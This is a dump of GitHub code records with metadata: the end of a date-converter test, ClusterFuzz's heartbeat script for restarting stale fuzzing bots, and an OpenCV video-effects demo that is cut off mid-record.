06:30\") == \"9 May 1945 year 6 hours 30 minutes\", \"Victory\"\n assert date_time(\"20.11.1990 03:55\") == \"20 November 1990 year 3 hours 55 minutes\", \"Somebody was born\"\n", "repo_name": "LeonidIvanov/checkio-solutions", "sub_path": "elementary/date_and_time_convertor.py", "file_name": "date_and_time_convertor.py", "file_ext": "py", "file_size_in_byte": 1255, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "69942647325", "text": "from clusterfuzz._internal.base import modules\n\nmodules.fix_module_search_paths()\n\nimport os\nimport sys\nimport time\n\nfrom clusterfuzz._internal.base import dates\nfrom clusterfuzz._internal.base import tasks\nfrom clusterfuzz._internal.datastore import data_handler\nfrom clusterfuzz._internal.datastore import data_types\nfrom clusterfuzz._internal.datastore import ndb_init\nfrom clusterfuzz._internal.metrics import logs\nfrom clusterfuzz._internal.system import environment\nfrom clusterfuzz._internal.system import process_handler\nfrom clusterfuzz._internal.system import shell\n\ntry:\n import psutil\nexcept ImportError:\n psutil = None\n\n\ndef beat(previous_state, log_filename):\n \"\"\"Run a cycle of heartbeat checks to ensure bot is running.\"\"\"\n # Handle case when run_bot.py script is stuck. If yes, kill its process.\n task_end_time = tasks.get_task_end_time()\n if psutil and task_end_time and dates.time_has_expired(\n task_end_time, seconds=tasks.TASK_COMPLETION_BUFFER):\n\n # Get absolute path to |run_bot| script. We use this to identify unique\n # instances of bot running on a particular host.\n startup_scripts_directory = environment.get_startup_scripts_directory()\n bot_file_path = os.path.join(startup_scripts_directory, 'run_bot')\n\n for process in psutil.process_iter():\n try:\n command_line = ' '.join(process.cmdline())\n except (psutil.AccessDenied, psutil.NoSuchProcess, OSError):\n continue\n\n # Find the process running the main bot script.\n if bot_file_path not in command_line:\n continue\n\n process_id = process.pid\n logs.log(\n 'Killing stale bot (pid %d) which seems to have stuck.' % process_id)\n try:\n process_handler.terminate_root_and_child_processes(process_id)\n except Exception:\n logs.log_error('Failed to terminate stale bot processes.')\n\n # Minor cleanup to avoid disk space issues on bot restart.\n process_handler.terminate_stale_application_instances()\n shell.clear_temp_directory()\n shell.clear_testcase_directories()\n\n # Concerned stale processes should be killed. Now, delete the stale task.\n tasks.track_task_end()\n\n # Figure out when the log file was last modified.\n try:\n current_state = str(os.path.getmtime(log_filename))\n except Exception:\n current_state = None\n\n # Only update the heartbeat if the log file was modified.\n if current_state and current_state != previous_state:\n # Try updating the heartbeat. If an error occurs, just\n # wait and return None.\n if not data_handler.update_heartbeat():\n return None\n # Heartbeat is successfully updated.\n\n return current_state\n\n\ndef main():\n logs.configure('heartbeat')\n dates.initialize_timezone_from_environment()\n environment.set_bot_environment()\n\n if sys.argv[1] == 'None':\n previous_state = None\n else:\n previous_state = sys.argv[1]\n\n log_filename = sys.argv[2]\n\n try:\n sys.stdout.write(str(beat(previous_state, log_filename)))\n except Exception:\n logs.log_error('Failed to beat.')\n\n time.sleep(data_types.HEARTBEAT_WAIT_INTERVAL)\n\n\nif __name__ == '__main__':\n with ndb_init.context():\n main()\n", "repo_name": "google/clusterfuzz", "sub_path": "src/python/bot/startup/heartbeat.py", "file_name": "heartbeat.py", "file_ext": "py", "file_size_in_byte": 3154, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5122, "dataset": "github-code", "pt": "86", "api": [{"api_name": "clusterfuzz._internal.base.modules.fix_module_search_paths", "line_number": 3, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.base.modules", "line_number": 3, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.base.tasks.get_task_end_time", "line_number": 28, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.base.tasks", "line_number": 28, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.base.dates.time_has_expired", "line_number": 29, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.base.dates", "line_number": 29, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.base.tasks.TASK_COMPLETION_BUFFER", "line_number": 30, "usage_type": "attribute"}, {"api_name": "clusterfuzz._internal.base.tasks", "line_number": 30, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.environment.get_startup_scripts_directory", "line_number": 34, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.environment", "line_number": 34, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "psutil.process_iter", "line_number": 37, "usage_type": "call"}, {"api_name": "psutil.AccessDenied", "line_number": 40, "usage_type": "attribute"}, {"api_name": "psutil.NoSuchProcess", "line_number": 40, "usage_type": "attribute"}, {"api_name": "clusterfuzz._internal.metrics.logs.log", "line_number": 48, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.metrics.logs", "line_number": 48, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.process_handler.terminate_root_and_child_processes", "line_number": 51, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.process_handler", "line_number": 51, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.metrics.logs.log_error", "line_number": 53, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.metrics.logs", "line_number": 53, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.process_handler.terminate_stale_application_instances", "line_number": 56, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.process_handler", "line_number": 56, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.shell.clear_temp_directory", "line_number": 57, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.shell", "line_number": 57, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.shell.clear_testcase_directories", "line_number": 58, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.shell", "line_number": 58, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.base.tasks.track_task_end", "line_number": 61, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.base.tasks", "line_number": 61, "usage_type": "name"}, {"api_name": "os.path.getmtime", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "clusterfuzz._internal.datastore.data_handler.update_heartbeat", "line_number": 73, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.datastore.data_handler", "line_number": 73, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.metrics.logs.configure", "line_number": 81, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.metrics.logs", "line_number": 81, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.base.dates.initialize_timezone_from_environment", "line_number": 82, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.base.dates", "line_number": 82, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.system.environment.set_bot_environment", "line_number": 83, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.system.environment", "line_number": 83, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 88, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 90, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 93, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 93, "usage_type": "attribute"}, {"api_name": "clusterfuzz._internal.metrics.logs.log_error", "line_number": 95, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.metrics.logs", "line_number": 95, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 97, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.datastore.data_types.HEARTBEAT_WAIT_INTERVAL", "line_number": 97, "usage_type": "attribute"}, {"api_name": "clusterfuzz._internal.datastore.data_types", "line_number": 97, "usage_type": "name"}, {"api_name": "clusterfuzz._internal.datastore.ndb_init.context", "line_number": 101, "usage_type": "call"}, {"api_name": "clusterfuzz._internal.datastore.ndb_init", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "70880593245", "text": "import cv2\nimport numpy as np\n\n\ndef add_subtitle(clip, text, height):\n cv2.putText(clip, text, (0, height - 30),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 255), 2, cv2.LINE_AA)\n\n# helper function to change what you do based on video seconds\n\n\ndef between(cap, lower: int, upper: int) -> bool:\n return lower <= int(cap.get(cv2.CAP_PROP_POS_MSEC)) < upper\n\n\ndef main(input_video_file: str, output_video_file: str) -> None:\n # OpenCV video objects to work with)\n cap = cv2.VideoCapture(input_video_file)\n fps = int(cap.get(5))\n frame_width = int(cap.get(3))\n frame_height = int(cap.get(4))\n # saving output video as .mp4\n fourcc = cv2.VideoWriter_fourcc(*'mp4v')\n out = cv2.VideoWriter(output_video_file, fourcc, fps,\n (frame_width, frame_height))\n\n # while loop where the real work happens\n while cap.isOpened():\n ret, frame = cap.read()\n if ret:\n if cv2.waitKey(28) & 0xFF == ord('q'):\n break\n\n if between(cap, 0, 1000):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 1000, 2000):\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frame = cv2.cvtColor(frame, cv2.COLOR_GRAY2BGR)\n add_subtitle(frame, \"Grayscale\", frame_height)\n\n elif between(cap, 2000, 3000):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 3000, 4000):\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frame = cv2.cvtColor(frame, cv2.COLOR_GRAY2BGR)\n add_subtitle(frame, \"Grayscale\", frame_height)\n\n elif between(cap, 4000, 6000):\n frame = cv2.GaussianBlur(frame, (5, 5), 5)\n add_subtitle(\n frame, \"Gaussian kernel size 5, makes blurry\", frame_height)\n\n elif between(cap, 6000, 8000):\n frame = cv2.GaussianBlur(frame, (15, 15), 5)\n add_subtitle(\n frame, \"Gaussian kernel size 15, makes more blurry\", frame_height)\n\n elif between(cap, 8000, 10000):\n frame = cv2.bilateralFilter(frame, 9, 75, 75)\n add_subtitle(\n frame, \"Bilateral size 9, blurs the image, preserves edges\", frame_height)\n\n elif between(cap, 10000, 12000):\n frame = cv2.bilateralFilter(frame, 18, 75, 75)\n add_subtitle(\n frame, \"Bilateral size 18, blurs the image more, preserves edges\", frame_height)\n\n elif between(cap, 12000, 13000):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 13000, 15000):\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_orange = np.array([0, 100, 100]) # H-10, 100, 100\n upper_orange = np.array([19, 255, 255]) # H+10, 255, 255\n frame = cv2.inRange(frame_hsv, lower_orange, upper_orange)\n frame = np.stack([frame] * 3, axis=-1)\n add_subtitle(frame, \"Detect the object\", frame_height)\n\n elif between(cap, 15000, 17500):\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_orange = np.array([0, 100, 100]) # H-10, 100, 100\n upper_orange = np.array([19, 255, 255]) # H+10, 255, 255\n frame = cv2.inRange(frame_hsv, lower_orange, upper_orange)\n frame = cv2.morphologyEx(\n frame, cv2.MORPH_CLOSE, np.ones((5, 5)))\n frame = np.stack([frame] * 3, axis=-1)\n add_subtitle(\n frame, \"Closing operation to remove reflection line\", frame_height)\n\n elif between(cap, 17500, 20100):\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n lower_orange = np.array([0, 100, 100]) # H-10, 100, 100\n upper_orange = np.array([19, 255, 255]) # H+10, 255, 255\n frame = cv2.inRange(frame_hsv, lower_orange, upper_orange)\n frame = cv2.morphologyEx(\n frame, cv2.MORPH_CLOSE, np.ones((9, 9)))\n frame = cv2.erode(frame, np.ones((3, 3)), iterations=1)\n frame = np.stack([frame] * 3, axis=-1)\n add_subtitle(\n frame, \"Erosion\", frame_height)\n\n elif between(cap, 20100, 21000):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 21000, 22500):\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n grad_y = cv2.Sobel(frame, cv2.CV_8U, 0, 1,\n ksize=3) # horizontal\n frame = cv2.convertScaleAbs(grad_y)\n frame = np.stack([frame] * 3, axis=-1).astype(\"uint8\")\n\n # MAKE DIFFERENT COLOR\n add_subtitle(\n frame, \"Horizontal Sobel ksize=3\", frame_height)\n\n elif between(cap, 22500, 24000):\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n grad_y = cv2.Sobel(frame, cv2.CV_8U, 0, 1,\n ksize=5) # horizontal\n frame = cv2.convertScaleAbs(grad_y)\n frame = np.stack([frame] * 3, axis=-1).astype(\"uint8\")\n\n add_subtitle(\n frame, \"Horizontal Sobel ksize=5\", frame_height)\n\n elif between(cap, 24000, 25000):\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n grad_x = cv2.Sobel(frame, cv2.CV_8U, 1,\n 0, ksize=3) # vertical\n frame = cv2.convertScaleAbs(grad_x)\n frame = np.stack([frame] * 3, axis=-1).astype(\"uint8\")\n\n add_subtitle(\n frame, \"Vertical Sobel ksize=3\", frame_height)\n\n elif between(cap, 25000, 27100):\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY)\n grad_x = cv2.Sobel(frame, cv2.CV_8U, 1, 0, ksize=3)\n grad_y = cv2.Sobel(frame, cv2.CV_8U, 0, 1, ksize=3)\n\n abs_grad_x = cv2.convertScaleAbs(grad_x)\n abs_grad_y = cv2.convertScaleAbs(grad_y)\n\n frame = cv2.addWeighted(abs_grad_x, 0.5, abs_grad_y, 0.5, 0)\n frame = np.stack([frame] * 3, axis=-1).astype(\"uint8\")\n\n add_subtitle(\n frame, \"All edges\", frame_height)\n\n elif between(cap, 27100, 29500):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rows = gray.shape[0]\n circles = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT, 1,\n rows / 8, param1=300, param2=15, minRadius=1, maxRadius=100)\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n\n for i in circles[0, :]:\n center = (i[0], i[1])\n # circle center\n cv2.circle(frame, center, 1, (77, 137, 255), 3)\n # circle outline\n radius = i[2]\n cv2.circle(frame, center, radius, (255, 0, 255), 2)\n\n add_subtitle(\n frame, \"All circles with Hough\", frame_height)\n\n elif between(cap, 29500, 32000):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rows = gray.shape[0]\n circles = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT, 1,\n rows / 8, param1=300, param2=15, minRadius=80, maxRadius=100)\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n\n for i in circles[0, :]:\n center = (i[0], i[1])\n # circle center\n cv2.circle(frame, center, 1, (77, 137, 255), 3)\n # circle outline\n radius = i[2]\n cv2.circle(frame, center, radius, (255, 0, 255), 2)\n\n add_subtitle(\n frame, \"Only big circles with Hough\", frame_height)\n\n elif between(cap, 32000, 35200):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rows = gray.shape[0]\n circles = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT, 1,\n rows / 8, param1=300, param2=15, minRadius=1, maxRadius=60)\n\n if circles is not None:\n circles = np.uint16(np.around(circles))\n\n for i in circles[0, :]:\n center = (i[0], i[1])\n # circle center\n cv2.circle(frame, center, 1, (77, 137, 255), 3)\n # circle outline\n radius = i[2]\n cv2.circle(frame, center, radius, (255, 0, 255), 2)\n\n add_subtitle(\n frame, \"Only small circles with Hough\", frame_height)\n\n elif between(cap, 35200, 36500):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 36200, 39000):\n template = cv2.imread('black.png')\n h, w = template.shape[:2]\n template = cv2.resize(template, (int(w * 0.6), int(h * 0.6)))\n h, w = template.shape[:2]\n method = eval(\"cv2.TM_CCOEFF\")\n original_shape = frame.shape[:2]\n res = cv2.matchTemplate(frame, template, method)\n res = res - res.min()\n res = res / res.max()\n res = (res * 255).astype(\"uint8\")\n frame = cv2.cvtColor(res, cv2.COLOR_GRAY2BGR)\n frame = cv2.resize(frame, original_shape[::-1])\n\n add_subtitle(frame, \"Template matching\", frame_height)\n\n elif between(cap, 39000, 40000):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 40000, 40100):\n replace_image = frame # live image to replace with\n replace_image[:, :, :] = replace_image[:, :, :] + 3\n\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 40100, 40700):\n add_subtitle(frame, \"Original\", frame_height)\n\n elif between(cap, 40700, 43300):\n kernel = np.ones((3, 3), np.uint8)\n frame_hsv = cv2.cvtColor(\n frame, cv2.COLOR_BGR2HSV) # BGR to HSV\n lb = np.array([90, 50, 38]) # blue mask\n ub = np.array([110, 255, 255])\n mask = cv2.inRange(frame_hsv, lb, ub) # Create Mask\n opening = cv2.morphologyEx(\n mask, cv2.MORPH_CLOSE, kernel) # Morphology\n contours, _ = cv2.findContours(opening, cv2.RETR_TREE, # Find contours\n cv2.CHAIN_APPROX_NONE)\n for cnt in contours:\n (x, y, w, h) = cv2.boundingRect(cnt)\n if w > 2 and h > 20:\n cv2.rectangle(frame, (x, y), (x+w, y+h),\n (42, 255, 100), 4)\n add_subtitle(frame, \"Object Tracking\", frame_height)\n\n elif between(cap, 43300, 48000):\n kernel = np.ones((3, 3), np.uint8)\n frame_hsv = cv2.cvtColor(\n frame, cv2.COLOR_BGR2HSV) # BGR to HSV\n lb = np.array([90, 50, 38])\n ub = np.array([110, 255, 255])\n mask = cv2.inRange(frame_hsv, lb, ub) # Create a blue mask\n opening = cv2.morphologyEx(\n mask, cv2.MORPH_CLOSE, kernel) # Morphology\n dilate = cv2.dilate(opening, kernel, iterations=2)\n midResult1 = cv2.bitwise_and(\n replace_image, replace_image, mask=dilate)\n invert = cv2.bitwise_not(\n dilate, dilate, mask=None) # Invert the mask\n midResult2 = cv2.bitwise_and(frame, frame, mask=invert)\n\n frame = midResult1 + midResult2\n add_subtitle(\n frame, \"Make the pen invisible\", frame_height)\n\n elif between(cap, 48000, 54300):\n add_subtitle(\n frame, \"Make the pen visible\", frame_height)\n\n elif between(cap, 54300, 58300):\n kernel = np.ones((3, 3), np.uint8)\n frame_hsv = cv2.cvtColor(\n frame, cv2.COLOR_BGR2HSV) # BGR to HSV\n lb = np.array([90, 50, 38])\n ub = np.array([110, 255, 255])\n mask = cv2.inRange(frame_hsv, lb, ub) # Create a blue mask\n opening = cv2.morphologyEx(\n mask, cv2.MORPH_CLOSE, kernel) # Morphology\n dilate = cv2.dilate(opening, kernel, iterations=2)\n midResult1 = cv2.bitwise_and(\n replace_image, replace_image, mask=dilate)\n invert = cv2.bitwise_not(\n dilate, dilate, mask=None) # Invert the mask\n midResult2 = cv2.bitwise_and(frame, frame, mask=invert)\n frame = midResult1 + midResult2\n add_subtitle(\n frame, \"Make the pen invisible\", frame_height)\n\n elif between(cap, 58300, 60000):\n add_subtitle(\n frame, \"Original\", frame_height)\n\n # write frame that you processed to output\n out.write(frame)\n cv2.imshow('Video', frame)\n\n # Press Q on keyboard to exit\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n\n # Break the loop\n else:\n break\n\n # When everything done, release the video capture and writing object\n cap.release()\n out.release()\n # Closes all the frames\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n main(\"input.mp4\", \"output.mp4\")\n", "repo_name": "bilgeyucel/basic_openCV", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 14189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "cv2.putText", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.LINE_AA", "line_number": 7, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_POS_MSEC", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 38, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 38, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 39, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.bilateralFilter", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 86, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 96, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 108, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 108, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 112, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 119, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 120, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 129, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 130, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 133, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 139, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 139, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 140, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 140, "usage_type": "attribute"}, {"api_name": "cv2.Sobel", "line_number": 141, "usage_type": "call"}, {"api_name": "cv2.CV_8U", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 143, "usage_type": "call"}, {"api_name": "cv2.convertScaleAbs", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.addWeighted", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 147, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 153, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 153, "usage_type": "attribute"}, {"api_name": "cv2.HoughCircles", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.HOUGH_GRADIENT", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 159, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 173, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 173, "usage_type": "attribute"}, {"api_name": "cv2.HoughCircles", "line_number": 175, "usage_type": "call"}, {"api_name": "cv2.HOUGH_GRADIENT", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 179, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 184, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 187, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 193, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 193, "usage_type": "attribute"}, {"api_name": "cv2.HoughCircles", "line_number": 195, "usage_type": "call"}, {"api_name": "cv2.HOUGH_GRADIENT", "line_number": 195, "usage_type": "attribute"}, {"api_name": "numpy.uint16", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 199, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 204, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 207, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 216, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 218, "usage_type": "call"}, {"api_name": "cv2.matchTemplate", "line_number": 222, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 226, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2BGR", "line_number": 226, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 244, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 245, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 246, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 248, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 249, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 250, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 251, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 252, "usage_type": "call"}, {"api_name": "cv2.RETR_TREE", "line_number": 252, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 253, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 255, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 257, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 262, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 263, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 264, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 266, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 267, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 268, "usage_type": "call"}, {"api_name": "cv2.MORPH_CLOSE", "line_number": 269, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 270, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 271, "usage_type": "call"}, {"api_name": "cv2.bitwise_not", "line_number": 273, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 286, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 287, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 288, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.array", 